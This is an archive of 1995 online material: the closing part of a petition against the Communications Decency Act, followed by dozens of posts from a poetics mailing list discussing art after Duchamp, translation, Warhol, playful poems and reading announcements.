[redacted]
YES
1111 State Street, Apt. 31 B
Any Town
CA
94320
USA

[Message starts on 3rd line. The second "To:" line with the internet email address MUST be the first line of the message body, and the blank line following that is REQUIRED. Mail will not be delivered by the gateways without it.]

If you are unsure whether your FTN has an Internet gateway, or suspect it may use something other than a GUUCP nodelist flag, ask your network coordinators.

---------- PETITION RATIONALE

We oppose the "Communications Decency Act", sponsored by Senators James Exon (D-NE) and Slade Gorton (R-WA), for the following reasons:

* It criminalizes the transmission of constitutionally protected speech, including the private communications between consenting individuals;

* It would violate privacy rights by protecting system administrators who take steps to ensure that their networks are not being used to transmit prohibited content, even if those steps include reading all messages, in violation of the Electronic Communications Privacy Act (ECPA).

* It fails to account for the unique characteristics of interactive media, including the tremendous control users have over the content they or their children receive.

* It would give the Federal Communications Commission jurisdiction over online speech by giving the FCC authority to establish rules governing the distribution of content online;

The Internet and other interactive communications technologies offer a unique opportunity for the free exchange of information and ideas, and embody the very essence of our nation's democratic traditions of openness, diversity and freedom of speech.

As users of these technologies, we know perhaps better than anyone that there are other, less restrictive ways to protect children from controversial materials while preserving the First Amendment and the free flow of information.

Senator Leahy's bill provides an opportunity to address the issues raised by the Communications Decency Act without restricting the free speech and privacy rights of users.

---------- FOR MORE INFORMATION

Petition updates will be posted to appropriate newsgroups and other forums on a regular basis.

To have the latest status report sent to you automatically, send email to: [redacted]

If you have specific questions, or if you are interested in mirroring the petition page, contact Jonah Seiger <[redacted]>

Other petition related information can be found on the CDT petition page.

URL:http://www.cdt.org/petition.html

For More information on the Communications Decency Act issue:

Web Sites

URL:http://www.cdt.org/cda.html
URL:http://www.eff.org/pub/Alerts/
URL:http://www.panix.com/vtw/exon/

FTP Archives

URL:ftp://ftp.cdt.org/pub/cdt/policy/freespeech/00-INDEX.FREESPEECH
URL:ftp://ftp.eff.org/pub/Alerts/

Gopher Archives:

URL:gopher://gopher.eff.org/11/Alerts
URL:gopher://gopher.panix.com/11/vtw/exon

Information By auto-reply email:

If you don't have www/ftp/gopher access, you can get up-to-date information from the following autobots:

General information on the CDA issue [redacted] Current status of the CDA issue [redacted] Chronology of events of the CDA issue [redacted] with the subject "send events"

LIST OF PARTICIPATING ORGANIZATIONS

In order to use the net more effectively, several organizations have joined forces on a single Congressional net campaign to stop the Communications Decency Act.

In alphabetical order:

Californians Against Censorship Together
[redacted]
Center For Democracy And Technology (CDT)
[redacted]
Electronic Frontier Foundation (EFF)
[redacted]
Feminists For Free Expression (FFE)
[redacted]
Florida Coalition Against Censorship
[redacted]
Hands Off! The Net
[redacted]
National Libertarian Party
[redacted]
National Public Telecomputing Network (NPTN)
[redacted]
National Writers Union (UAW Local 1981 AFL-CIO)
[redacted]
Panix Public Access Internet
[redacted]
People for the American Way
[redacted]
Society for Electronic Access
[redacted]
The WELL
[redacted]
Voters Telecommunications Watch (VTW)
[redacted]

If you would like to add your organization to this list, contact Shabbir
Safdar at VTW <[redacted]>

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499. **Lindz Williamson**
Re: Yo, Ed
Thu 25 May 1995

> see
> zoo
> cow

> ski
>
don't forget
chicken

↑ Index

500. **John Byrum**
Re: art after art
Thu 25 May 1995

---

we have a very narrow definiton of art which needs to be opened out & reopend out again all the time.

↑ Index

501. **John Byrum**
Re: Yo, Ed
Thu 25 May 1995

---

zoos
&
cows
kant
ski
see
saw
say

↑ Index

502. **Mark Roberts**
Poetry happenings: London, UK, July 1995
Thu 25 May 1995

I am forwarding this request to the list in the hope that someone may have some information about poetry events in the UK (london) during July. You could either email David directly, or post to the list and I'll forward it.

Thanks

Mark Roberts

****

> *From: "DAVID GILBEY" <[redacted]>*
> *Organization: Charles Sturt University*
> *To: [redacted]*
> *Date: Thu, 25 May 1995 14:46:26 GMT-10*

> *Subject: Poetry happenings: London, UK, July 1995*
> *Priority: normal*
>
> *Dear Mark,*
>
> *I'm heading off to London for a couple of weeks in July, 3 - 20. Do you know of any poetry or writerly happenings there then. Or who I could contact?*
>
> *Cheers,*
>
> *David*

↑ Index

503. **Marisa A Januzzi**
in vitro...
Thu 25 May 1995

Flash:
In the window
of the Grolier in Cambridge:
Niedecker letters to Zukofsky ($59?!)
and Joe Donahue's latest next to
Ed Foster (on Black Mountain) next to
Gerrit Lansing

had to leave the letters for now but in addition snagged some op Parker Tyler some Christopher Logue some Coffey (thank you Peter Quartermain)(thank you, day in Cambridge)(and you too poetics list!)

They take Visa! ---Marisa

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504. **Jake Berry**
Re: yo, ed, boring?
Thu 25 May 1995

Hank, You've got WCW spinning in his grave, and I love it. Not to knock the good Doc. But this rewrite is a yowling howling invitation to ludic heaven. Thanks.

Jake

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505. Jake Berry
Re: John - next steps after art
Thu 25 May 1995

John, You're absolutely right, we must get beyond these categories and the assumptions that attend them. It is almost as if the label poet, or painter, or whatever is a means of dismissing the entire project. We could attempt radical new mediums, but we see what happened with 'happenings'. They quickly became just as classified as anything else. And you're right, an Art Strike is not the answer, since those who are profiting from the system as it is will not strike, at least most of them will not. So all you have is people assuming they have more power than they do, and the mindset that produces these power games is precisely the origin of the problem to begin with. Nothing is resolved. Going underground, as, who was it, I'm sorry, I can't remember who, suggested, is a possibility as long as we don't call ourselves underground poet, painters etc. Duchamp said the solution for the great man of art for tomorrow is to go underground. (I paraphrase, but I think that's the sense of it.) Finally we must move beyond our own sense of self individually, to move beyond our own tendency to rely on easy categorization and description and beginning from that point we might produce a way of living, thinking (or other mental states), and externalized modes that would be the next step. Though being post-art they would not be seen as steps after, as in post-modern, but as something entirely other in relevance to anything that had gone before. Sorry to ramble so long, that's my take on it. Today, at any rate.

Jake

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506. english is mandarin --Tom Raworth
Re: Poetry happenings: London, UK, July 1995
Thu 25 May 1995

I was in London and Cambridge last month, and picked up a few flyers about readings there just for interest's sake: only two seem applicable here:

POETS/WRITERS readings--"bi-weekly, Mondays 8pm, plus added special events". At the east/west gallery, 8 Blenheim Crescent, London W11. Ladbroke Grove Tube. 4 pounds/2 pounds 50 p concessions. For information, phone (0181)-[redacted]. Looking at the schedule for the next couple of months it lists:

June 12. FIRST IN A SERIES OF TALKS ON BRITISH SMALL PRESSES OF THE 60'S AND 70'S: 1. Trigram Press: run by poet Asa Benveniste, published Tom Raworth, Jack Hirschman, J.H.Prynne, David Meltzer, Lee Harwood. Talk

with John Latimer Smith by Pip Benveniste, followed by films of Trigram poets reading.

June, date t.b.a.: Ed Dorn reading.

July 12: Fran Landesman: poet, songwriter, humorist; her songs recorded by Ella Fitzgerald, Shirley Bassey.

July 17: Gavin Selerie: poet, critic; work included in _New British Poetry_ (Paladin 1988), reads from recently completed work _Roxie_.; and Miles Champion: new poet whose work has been praised by John Ashbery; reads from _Sore Models_ (Sound and Language 1995).

---- I saw Champion read in Cambridge, & he's certainly worth seeing--rather influenced by Raworth in the incredible speed at which he reads, I'd imagine. Anyways, I also have a flyer for the SubVoicive reading series: unfortunately it looks like there's not much for the month of July, but I'll type this in anyways for those who might be interested:

SubVoicive readings, at The Three Cups, Sandland Street, Holborn Tube; Admission 4 pounds/2 pounds concs. To confirm details phone Robert Sheppard at (0181) [redacted].

6 June	Bill Griffiths
20 June	Latin American Evening presented by Will Rowe
27 June	Gilbert Adair and Lawrence Upton
4 July	Bob Cobbing
12 Sept.	Aaron Williamson
26 Sept.	Spencer Selby & Gavin Selerie
10 Oct.	John Muckle & poet t.b.a.
24 Oct.	Tim Fletcher & poet t.b.a.
7 Nov.	Allen Fisher and Adrian Clarke

(Never seen any of these authors read, but I did pick up a cassette of Allen Fisher reading, called _Scram_, at Compendium Books, which is very good.)

OK: hope this is of some assistance. --Nate Dorward ([redacted]).

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507. Charles Alexander
Re: art after art
Thu 25 May 1995

From John Byrum,
"we have a very narrow definiton of art which needs to be opened out & reopendout again all the time."

After Duchamp, after Cage, WHO has a very narrow definition of art? Although I'd be interested in points of view who found even those artists with a narrow point of view.

Why define (divine, de-vine) art at all? I had a teacher once who wanted to define it, admittedly awkardly, as "anything seen in an art-seeing context." But what's the line between art and non-art? and why?

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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508. Ernesto Grosman

Rift: On Translation

Thu 25 May 1995

To retrieve RIFT...

gopher://writing.upenn.edu/hh/internet/library/e-journal/ub/rift

Send contributions or correspondence to:
[redacted]

From RIFT, the translation issue.

QUESTIONNAIRE/CUESTIONARIO

*How would you define translation? As a process or as product?

*Who is translating?

*What is being translated?

*Do you consider some texts to be untranslatable? If so, how would you describe the obstacle?

*Isn't the idea of "version" a funny place for the translator to be left in?

*When see some of your own texts translated into a different language from the one you wrote them in, what kind of relation would you established between the two of them?

*Is it true that today there are fewer people translating? If so, why?

*What does it say about our present situation that translation seems to occur almost only when the "original" material is has been canonized within its own culture?

*And what would be the possible relation between this kind of selection and that other relationship between imperialism & translation?

*Are you ready to accept translation as another way of writing?

*When you or somebody else refers to a text as illegible, what do you does she/he mean by that? Do you see any connection between the notion of a text being illegible and the task of translation?

*Do you think of some texts as more worthy of a translation than others? Could you elaborate on it?

*Would you say that you translate a text or a person?

*Do you consider yourself a translation?

*Could you imagine life without translation?

e.l.g.

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509. Michael Boughn
Re: Really real Martha
Thu 25 May 1995

So, George, exactly what kind of glaze does Blackburn recommend for turkey?

Mike

↑ Index

510. Ron Silliman
Re: 2 announcements
Thu 25 May 1995

Effective June 5:

Ron Silliman & Family
116 Biddle Road
Paoli, PA 19301

[redacted] (work)
[redacted] (probable home #)

Email remains [redacted]

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511. David Ball
Re: Rift: On Translation
Thu 25 May 1995

No, I can't imagine life without translation, translation of many kinds, pro- cess, product, lifeblood of literature, way of understanding--anyone can add to this list, & I'll be with her/him all the way. As Baudelaire said (in French), "How is it that any human being in reasonably good health can go without eating for two or three days--without translation, never!"

INTENTIONALLY INACCURATE TRANSLATOR

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512. Carl Lynden Peters
Re: yo, ed, boring?
Thu 25 May 1995

> *Going underground, as, who was it, I'm sorry, I can't remember who, suggested, is a possibility as long as we don't call ourselves underground poet, painters etc. Duchamp said the solution for the great man of art for tomorrow is to go underground. (I paraphrase, but I think that's the sense of it.)*
> *Finally we must move beyond our own sense of self individually, to move beyond our own tendency to rely on easy categorization and description and beginning from that point we might produce a way of living, thinking (or other mental states), and externalized modes that would be the next step. Though being post-art they would not be seen as steps after, as in post-modern, but as something entirely other in relevance to anything that had gone before.*
> *Sorry to ramble so long, that's my take on it. Today, at any rate.*
>
> *Jake*

jake: that was me, i think, paraphrasing duchamp's idea to go underground. i guess a similar notion is barthe's "death of the author" and foucault's neat idea to publish books without the author's name printed across them. anonymity. that entails a great sacrifice, but may be one way of subverting the western box. sacrifce. but that's were the prophecy is

carl

↑ Index

513. **Carl Lynden Peters**

Re: art after art

Thu 25 May 1995

---

this may relate, tho indirectly:

SEVEN:

G.
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.G

thanks,
carl

↑ Index

514. **Edward Foster**
Re: yo, ed, boring?
Thu 25 May 1995

---

so much pretends
within

a red po
tato

glazed with
honey

beside the fried
chicken.

i mean, hank, would YOU trust a doctor? let's get a second opinion.

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515. **Edward Foster**
Re: Yo, Ed
Thu 25 May 1995

NOT
boo
cough
ski

↑ Index

516. **Ryan Knighton**
Re: yo, ed, boring?
Thu 25 May 1995

---

so much for depending
upon

a red fire
truck

glazed by
heat

inside
the burning station

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517. **Ryan Knighton**
Re: radio commercials
Thu 25 May 1995

George's and my friend Willy likes the van advertising
"Blind Cleaners". Brilliant.

↑ Index

518. **Sheila E. Murphy**
Art, etc.
Thu 25 May 1995

Maybe the discussion of post-art needs no more(?) A perfect time, it seems to me, to add something.

Art seems principally an orientation capable of accommodating, being with, transforming, ignoring (pick your verb!) any raw material. Another possibility is leaving the raw material right there and having something different from (or perfectly identical to) it in mind. It's all something about state of consciousness, not unlike homeopathy, whereby the greater the distillation, the smaller the actual substance, the higher the frequency. And in that practice, "like cures like." (wonderfully enough)

Something else about art is not a necessary condition, but certainly associated: human competence. Anybody out there know of, hold deep affection for, Thomas Gilbert's HUMAN COMPETENCE? 1960 was the year, if I'm not mistaken. It's performance technology stuff, but moves all over the scape in relation to doing things well. It's not necessary to agree with Gilbert. It's only a pleasure to breeze around the subject of things done well and what makes various practices "good." A brave book, running counter to the mediocrats.

Art offers an avenue that makes having discipline a tremendous bonus. You get to choose your time, your materials, your path, whether or not to have a destination, whether to make it palatable. (Or maybe anyone is powerless in relation to these things?)

Well, I've made a short story long, that's clear. Let's just say that what comes after art is higher frequency. And with each of these, the possibility of greater pleasure, greater clarity, more subtle movement (thought or physical). Or absolutely nothing at all.

SEM

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519. **Carl Lynden Peters**
Re: Yo, Ed
Thu 25 May 1995

---

ed
rhymes with
dead

↑ Index

520. **Mark Roberts**
Re: radio/tv commercials
Thu 25 May 1995

You know with just one look
we've got the world's best chook

MR

↑ Index

521. **Steve Carll**
Re: The Etymology of Things
Thu 25 May 1995

Jim Pangborn writes:

> *Thanks, Steve, for showing me how my first post on this topic seemed much more pessimistic than I actually feel. Your response points up a problem in academic discourse that troubles me greatly, tho. I write of how a certain term is or seems "spooky" or "haunted," and people naturally take it as a call to abandon the use of that term. The thing is, "thing" is indispensible. Its troubling political dimension (I won't call it baggage, since that term paints a false picture of how words work) will not go away, but neither does it necessarily always dominate. Power and hierarchy are ubiquitous, but they certainly aren't every"thing"! I would respectfully ask that poets and other artists resolutely confront the things that bid to needlessly dominate us (and by opposing end them? heh heh . . . good luck!) and also that they (we) resolutely believe, even if utopically, in freedom. Of course, I can't tell y'all what to do. But yes, folks, this *is* about poetics.*

Right on. I very much believe in "retrieving" language from these spectres of power that tend to haunt it. Sometimes this involves an attempt to delve back to its (the?) source, and sometimes it involves puahing envelopes of meaning out to places they've maybe never been before.

Steve

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522. **John Byrum**
Re: John - next steps after art
Thu 25 May 1995

Excerpt from Jake Barry's recent message re next steps after art:

>Though being post-art they would not be seen as steps after, as in >post-modern, but as something entirely other in relevance to >anything that had gone before.

Jake,

Many thanks for your message. I agree completely with all your comments and particularly with the excerpt above. We each need to discover our own ways of proceeding, ways which will be largely or even entirely "other" than anything which could be called "art". Some may be communicable and others may not. Some may include production, others may not.

John

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523. **Tony Green**
Re: radio/tv commercials
Thu 25 May 1995

What cd be better than a petit poussin?

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524. **John Byrum**
Re: art after art after art
Thu 25 May 1995

Excerpt from recent message by Charles Alexander:

After Duchamp, after Cage, WHO has a very narrow definition of art? Although I'd be interested in points of view who found even those artists with a narrow point of view.

Why define (divine, de-vine) art at all? I had a teacher once who wanted to define it, admittedly awkardly, as "anything seen in an art-seeing context." But what's the line between art and non-art? and why?

charles

charles alexander
chax press

Charles,

Thanks for the difficult questions in your reply. I think many people have underlying "expectations" of what art has come to mean in our culture. These expectations differ among individuals of course, but most do distinguish some of their experiences as belonging to an art context and others which do not. Perhaps I'm asking if it is possible for us to think of all of our experiences as art, which would have the effect of eliminating "art" as a separate category of experience in our lives. If everything is "art", then nothing is "only art" (i.e., non-functional esthetic experience), but the rich complexity and interwoven unity in multiplicity of esthetic experiences could be lived in all aspects of our lives, and not only those bits of our lives spent in producing and consuming "art" as it is currently our enculturated habit to do.

Art has meant different things in different cultures and times, and has not been a separate category in many. I'm asking if it is possible for us here and now to so completely open the notion of art out into all aspects of our individual and social/cultural existence that it would to all intents and purposes disappear; i.e., become an inseparable component of the textures of our living.

I'm aware this sounds utopian and/or simplistic. It is.

John

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525. **Charles Alexander**

Re: art after art after art

Fri 26 May 1995

John, I hope what you want is possible, i.e.

"I'm asking if it is possible for us here and now to so completely open the notion of art out into all aspects of our individual and social/cultural existence that it would to all intents and purposes disappear; i.e., become an inseparable component of the textures of our living.

I'm aware this sounds utopian and/or simplistic. It is."

I'm not certain it would be either utopian or simplistic. Sometimes it would be terrible. It would always be living, which is complex, not simplistic.

For some people, living is already close to this. I am not certain that such living is better or truer than any other, but it does seem to move in a direction which feels true to me. For many people, art simply doesn't exist, it's not part of their consciousness. This does not necessarily mean that their "individual and social/cultural existence" is any less integrated with art than if they were more aware of art.

I feel like I'm confusing the possibilities here rather than clarifying them, so I will stop.

so much descends
upon red real
ballerinas

grazing with refrain
and potters

astride the wide
thick lens

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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526. **John Byrum**
Re: yo, ed, boring art past art?
Fri 26 May 1995

Carl,

Excerpt from your reply to Jake B:

>jake: that was me, i think, paraphrasing duchamp's idea to go underground. i guess a similar notion is barthe's "death of the author" and foucault's neat idea to publish books without the author's name printed across them. anonymity. that entails a great sacrifice, but may be one way of subverting the western box. sacrifce. but that's were the prophecy is

carl

Publishing books without the author's name is a beginning, but may not go far enough. Maybe our lives should or even could become what we hoped our books would be.

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527. John Byrum
Re: art after art after art
Fri 26 May 1995

Charles,

Yes! We don't need the lens of art to move toward what I think I'm after. All that's needed is an open, enquiring mind which will not settle for received habits of thinking.

I'll stop before further muddying also.

John

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528. Charles Alexander
loss of the name/art & sacrifice
Fri 26 May 1995

" . . . foucault's neat idea to publish books without the author's name printed across them. anonymity. that entails a great sacrifice, but may be one way of subverting the western box," as John Byrum says.

A good friend in Tucson, Larry Evers, asked me several times in the mid to late 1980's, during discussions of language poetry and its decentering of authorial personality and identity in the work (I'm not certain anymore that there is any such decentering), if there was a movement away from the person to something like "language itself," why the authors didn't just publish texts without their names attached. Larry works with oral Native American traditions, living ones, where, although contemporary singers and drummers and dancers do make their own contributions to the tradition, such personal ownership of the work is just not part of the system. I never had a good answer for him. I am not quite ready for such anonymity, and few I know are. Perhaps we are just part of the western box.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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529. Charles Alexander
loss of the name/art & sacrifice
Fri 26 May 1995

Apologies . . . In my last post I attributed a statement about "foucault's neat idea to publish books without the author's name printed across them. anonymity . . ." to John Byrum, when I had read John excerpting it from a message from Carl Peters. So it is Carl's.

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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530. Ron Silliman
Re: art after art after art
Fri 26 May 1995

> *After Duchamp, after Cage, WHO has a very narrow definition of art?*

Checked out the CAP-L list lately?

There is no avant-garde. Merely folks who got left behind...

(That's a quote but I forget the source.)

Ron Silliman

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531. Jim Pangborn
Re: Art, etc.
Fri 26 May 1995

Sheila, thank you for your intervention in the afterart discussion. Art, however one defines it, is not going to go away anytime soon. I think John and Jake are "after" something that already exists, though there could and maybe should be more of it--and I think Charles A. agrees. Charles is right, too, that attempts to define art usually lead more to muddle than to clarity.

(I wonder, while we're on the subject: where are the voices opposed to generalizing about art? Is there no one here who thinks poetics is something fundamentally different from the principles of painting, the principles of music, etc?)

But I say, if there's a muddle let's jump right in. If I may, Sheila, pick apart one of your sentences, "[a]rt seems principally an orientation. . . ." This term implies a map or world, a topos in which one might wander. The political dimension of life seems that way too: left and right, for example, amount fundamentally to orientation, to facing. In the case of the political "sphere," orientation is vis a vis something like history, the ongoing account of where "we"'re headed. Classically, conventionally, it's progress for progress's sake on the left, order for order's sake on the right, although these have gotten truly muddled now. In art, what might correspond to these specific axes of orientation?

You write of "accommodating, being with, transforming, ignoring (pick your verb!) any raw material" or "leaving the raw material right there and having something different from (or perfectly identical to) it in mind." What sort of thing in mind? To what end(s), specifically?

"It's all something about state of consciousness, not unlike homeopathy, whereby the greater the distillation, the smaller the actual substance, the higher the frequency." This is intriguing. I don't believe in homeopathy-- it seems a rather wishful mysticism--except in the sense of vaccine, of "what don't kill you makes you stronger." But what is "frequency," and why is its being "higher" a good thing?

Further, is art's progress always toward the more subtle?

I think the generalizable part of art is made of questions, not answers--a matter of balances, some of which you enunciate well: regarding competence and discipline, for example. Art plays with these as it works with them, throwing the very distinction work/play into question. As Kant points out, it throws the concept of purpose or destination into question. Also delectation. Also power.

Far from making a short story long, you/we have only grazed the surface. Oscar Wilde, in the intro to _Dorian Gray_, warns us not to go below that surface, that terrible danger waits there--but then again, he may have been just kidding. Heh heh.

--Jim

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532. David Ball
ANNOUNCEMENT (self-promotional)
Fri 26 May 1995

You can hear HENRI MICHAUX at BIBLIO'S in NYC (Church St. betw. Lispenard &
Walker) on Wednesday evening, May 31 at 6:30.
And David Ball.

That is, David Ball is reading, mostly from DARKNESS MOVES, his big Michaux anthology, but also some of his own work.

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533. **Herb Levy**
Re: art after art after art
Fri 26 May 1995

On Fri, 26 May 1995, Ron Silliman wrote:

> *After Duchamp, after Cage, WHO has a very narrow definition of art?*
>
> *Checked out the CAP-L list lately?*
>
> *There is no avant-garde. Merely folks who got left behind...*
>
> *(That's a quote but I forget the source.)*
>
> *Ron Silliman*

Yes, CAP-L seems only to respond to obituaries or the "major" prizes. But that seems to be it's function; few folks over there (including those who are "here" too) didn't rise to the occasion of discussing Michael Palmer or Ezra Pound when their names recently came up there.

(At virtually the same time there were about 20 posts on <poetics> nominally about Gerald Stern. But, then, that's something else again. They just don't have much "fun" over on CAP-L. Who _were_ they discussing while Martha Stewart was explained to death here.)

But be careful when you start talking about <folks who get left behind>, 'cause a lot of that may just be fashion or name-checking.

Consider this: there are an awful lot of people these days for whom the term <avant garde> means warmed-over 1960s-70s art with drum machines and/or body piercing added.

Or did us old farts just get left behind?

Herb

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534. M. Magoolaghan
Re: art after art after art
Fri 26 May 1995

On Fri, 26 May 1995, Ron Silliman wrote:

> >After Duchamp, after Cage, WHO has a very narrow definition of art?
>
>
> Checked out the CAP-L list lately?
>
Yup--and then quickly checked out. Bracing to recall how tidy-tight the mainstream/academic's definitions of "great poetry" are. But then they _have_ to be, or they couldn't reap their "rewards". . .

^^^

536. **Carl Lynden Peters**
Re: yo, ed, boring art past art?
Fri 26 May 1995

mallarme said this: "all earthly existence must ultimately be contained in a book" (from "the book: a spiritual instrument") -- i love that, too: the bk as spiritual _Instrument_!

carl

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537. **Carl Lynden Peters**
Re: Art, etc.
Fri 26 May 1995

> *Art seems principally an orientation capable of accommodating, being with, transforming, ignoring (pick your verb!) any raw material.*

"The creative act takes on another aspect when the spectator experiences the phenomenon of transmution; through the change from inert matter into a work of art, an actual transsubstitution has taken place, and the role of the spectator is to determine the weight of the work on the esthetic scale" (Marcel Duchamp: "The Creative Act"). --apologies fr keeping the duchamp quotes going. he's so important, i think, to our continuing interests in and theorizing of poststructuralism.

yr title, "Art, etc.," reads to me like a poem! just wanted to add that.

take care,
carl

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538. **Sheila E. Murphy**
Re: art after art after art
Fri 26 May 1995

> *hi, ron: i've always lovd that quote. it's edgard varese: "there is no avant-garde. there are only people who are a little late."*

Carl, You've just brought back the memory of the piece by Varese for flute alone, entitled "Density 21.5." Lots of nice percussive thumps in there with keypads. And I love the quote.

Thanks. Sheila

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539. **Jordan Davis.**
where were you born
Fri 26 May 1995

Poetics (and anybody else)
It seems to me you might have some ideas about some things that have been bothering me for a while.
What do we mean when we call someone's work sentimental?
What is the relation between poetry and capital?
How do readers of ths list know when a work of theirs is finished/complete/abandonable?
How do we know when a work is good?
Curious in and from NY
Jordan

PS Happy Memorial Day

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540. **Sheila E. Murphy**
Re: Art, etc.
Fri 26 May 1995

Jim, Glad to have your interested and interesting response. Point on orientation as concept is well taken.

> *You write of "accommodating, being with, transforming, ignoring (pick your verb!) any raw material" or "leaving the raw material right there and having something different from (or perfectly identical to) it in mind." What sort of thing in mind? To what end(s), specifically?*

This has to be unknown a priori, I believe, or the process satirizes itself. My position (there goes that old geography again!) on the matter relates to an observation that there's a consciousness that "takes in" or somehow juxtaposes with another substance (or being, or consciousness). And when that happens, anything can happen on the continuum that runs from heavy manipulation at one end to complete absorption at the other (I'm willing to haggle on the determination of what those ends might be!). So I wouldn't want to say "to what ends," because that would spoil the surprise, itself a necessary condition for worthwhile art, as I perceive it. (I am continuum-happy today. I like the extreme surprise end of the spectrum running from expectation to surprise.)

> *I don't believe in homeopathy--*
> *it seems a rather wishful mysticism--except in the sense of vaccine, of "what don't kill you makes you stronger." But what is "frequency," and why is its being "higher" a good thing?*

Homeopathy (not to be confused with any variety of less precise alternative health areas) is actually the antithesis of allopathic medicine, which is the prevailing "drugs and knives" kind of medical practice that people have grown accustomed to in our culture. There's a statue to Dr. S. Hannemann in Washington, D.C., the individual who brought about the practice of homeopathy. The practice is quite scientific. It lost the war that made the American Medication Association version of medicine the one that reigns.

I'm not using the word "frequency" haphazardly. Higher frequency is, in general, a more desirable state on account of its correlative greater accuracy, clarity. More precise attunement to events, movement, and just plain stodgy mass.

Not an expert in homeopathy, I'm just an interested consumer and supporter (No longer do I seem to need it for what it helped me address, a plus for the practice!) I do NOT profess expertise, but I've read a great deal about it, examined with fascination the Materia Medica on which it is based.

You may or may not know that in rural parts of Europe, homeopathic doctors would be able to visit people maybe only once per six months or so. The remedies (as they are called) would be provided to people who would benefit from them long-term, on account of the relative power of the substance, as it would have been "found" as right for the individual, not the condition (Allopathy addresses a cold as a cold as a cold. Homeopathy would give you a different remedy from what would be given me for the same condition.)

I don't mean to transfer the topic to homeopathy, as this was simply a bridge to our REAL focus. But I think it's important to mention some things about the concept.

Your point that:

> *Further, is art's progress always toward the more subtle?*

adds to this point, I think.

> *I think the generalizable part of art is made of questions, not answers--a matter of balances, some of which you enunciate well: regarding competence and discipline, for example. Art plays with these as it works with them, throwing the very distinction work/play into question. As Kant points out, it throws the concept of purpose or destination into question. Also delectation. Also power.*

Jim, I appreciate your perspective and what you've added to my sketching! I agree about the questions versus answers. I'll give your eyes and my fingers a rest just now.

Sheila

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541. **Reginald Johanson**
yo, ed
Fri 26 May 1995

flip
flop
and
fly

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542. **Carl Lynden Peters**
Re: Art, etc.
Fri 26 May 1995

re the definition of art -- that's easy: anything made with the working unity of hand eye and mind. no mystery there whatsoever. the simplest thing in the world: art. however you write it or conceive it. writ with a small a or write large with a big A. low art. high art. mind is everywhere.

carl

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543. **Reginald Johanson**
yo, ed
Fri 26 May 1995

so many
renege upon

promises made
under the blue lights

over the curried chicken

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544. **Andrew Joron**
ed's new book
Fri 26 May 1995

It was reported on the list yesterday that Ed Foster's new book was sighted in the window of Grolier's (alongside Joe Donahue's new one). I'd like to report that I have received, in my non- virtual mailbox, and to my great pleasure, a copy of Ed's new book, _All Acts Are Simply Acts_, published by Rodent Press in Boulder ($7). The book itself is a beautiful artifact, with letterpress cover, perfectbound. Inside, the work, poems and prose poems, span a range from the

caustic to the gnostic. On the surface, the writings are possessed of meditative calm, while their deep structure roils & boils with recurring motifs of alchemy & loss. Such lines resound: (from "Basic Rules") "It is the sacred work of poetry to let the violence through . . . The universe is not consistency but radical confusion, and poetry opens there the crevices through which this can be seen." YES! In fact, all of the poems in the book are confirmations of these "Basic Rules" -- like Benjamin's Angelus Novus, bearing witness to cataclytsms both historical & personal, they are renderings of something that's been rended. The book collects poems from two of Ed's previous chapbooks, _The Space Between Her Bed and Clock_ and _The Understanding_. Among the new poems are two co-translations from the Russian (of Zhdanov). Here's a quote from one of them: "Dying nations are driven away, but before they vanish like clouds in a storm, they tear the leaves from the trees.

All that indifference in your face will pass.
The bird will cry out.
The leaves will be torn away.
Your hand will leave its trace."

There's an almost Gothic sensibility that is active in this work,
an awareness of "dark transcedence" and "intricate release" which
I was not expecting, although maybe it's explained by what Ed calls,
on the final page of the book, his "New England ways" -- the ways
of Poe, repossessed from Baudelaire?
It's a definitive collection, which I hope defeats Spicer's dictum,
quoted in the book: "No one listens to poetry." Or was this supposed
to be poetry's salvation?

-- Andrew Joron

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545. **Blair Seagram**

Re: Warhol and irony

Fri 26 May 1995

Gary Sullivan wrote:

Carter Ratcliff's argument for Warhol, if I remember, was that the pieces were completely empty of meaning, & as such, put the viewer "in touch" with "the void"--that one state of being that humans never fully experience while alive. (We get intimations, thru art, contemplation, near-death experiences, etc.) Ratcliff was, I think, arguing that Warhol's works were "transcendent" in that respect, because they were fully expressive of that "otherworld." But his argument never took into account the specific structures of Warhol's pieces--which aren't themselves valueless. One can speak of the physical properties of

his Brillo boxes, of their shape. So, Warhol is postulating (as he's negating) existence, giving a thing precise value (as he's emptying it of value).

Dear Gary:

What you say about Warhol sounds very good. And I know Carter Ratcliff was crazy about him. At least he was before he wrote the book. And maybe he was afterwards as well. I always wondered about that. I didn't read the book, but I did take a class with Ratcliff at the time he was writing it.

The more I know about Warhol, the more I like him, on the whole. I think he did some great stuff. For me, he was able to take certain European values and push them in an American way, more than any other artist in America. It's the fact that he made movies, did a magazine, was open to the society at large. If you like, was more like a Renaissance artist, and when I say that I should add a court artist. An artist to "high society" which he so craved to be accepted by. And which he finally was.

There was nothing intellectual about Warhol. The fact that we have all these theories about him, is irrelevant to the man. What I like about that, is his irreverence for the angst driven world that went before him. I once saw a TV program that interviewed many blue chip artists around Warhol's generation. After listening to Warhol, they all sound so puffed up and full of it. Warhol was funny and in a way straight forward.

Having said all this, there is something about Warhol that disturbs me. Something about the way he could treat people around him. I know there are those who would agree with me and I know there are those who loved him and believe he didn't have a mean bone in his body. I never knew Warhol, but I have met his business manager Fred Hughes. And I know Fred truly loved the man and I know that without Fred, Warhol would never have hit the big time like he did. Meeting Fred Hughes was like meeting the other half of Warhol. After that things fit together for me much better. And what I think about Hughes, is that he may be a tough business man, but he is also totally open to people and ideas. And in fact was probably far more generous than Warhol. Warhol could be odd about money, really tight I understand. Whereas Fred would straighten things out, make them fair. And I know some people, like Bob Colacello, got hurt by both Hughes and Warhol and finally quit Interview, where he had been the editor for 13 years, because Andy and Fred wouldn't let him own any part of the magazine he had busted his ass for.

It's stuff like this which is disturbing. It's the fact that Warhol rose while so many of those around him burnt out. I think if I had been in Warhol's little circle I would have been destroyed. I guess Warhol didn't mean to do it, but he had a way of bringing down those around him. It's almost eerie. If you were around

Warhol and a creative person, you had to be very, very careful not to be seduced and in so doing become a sacrifice.

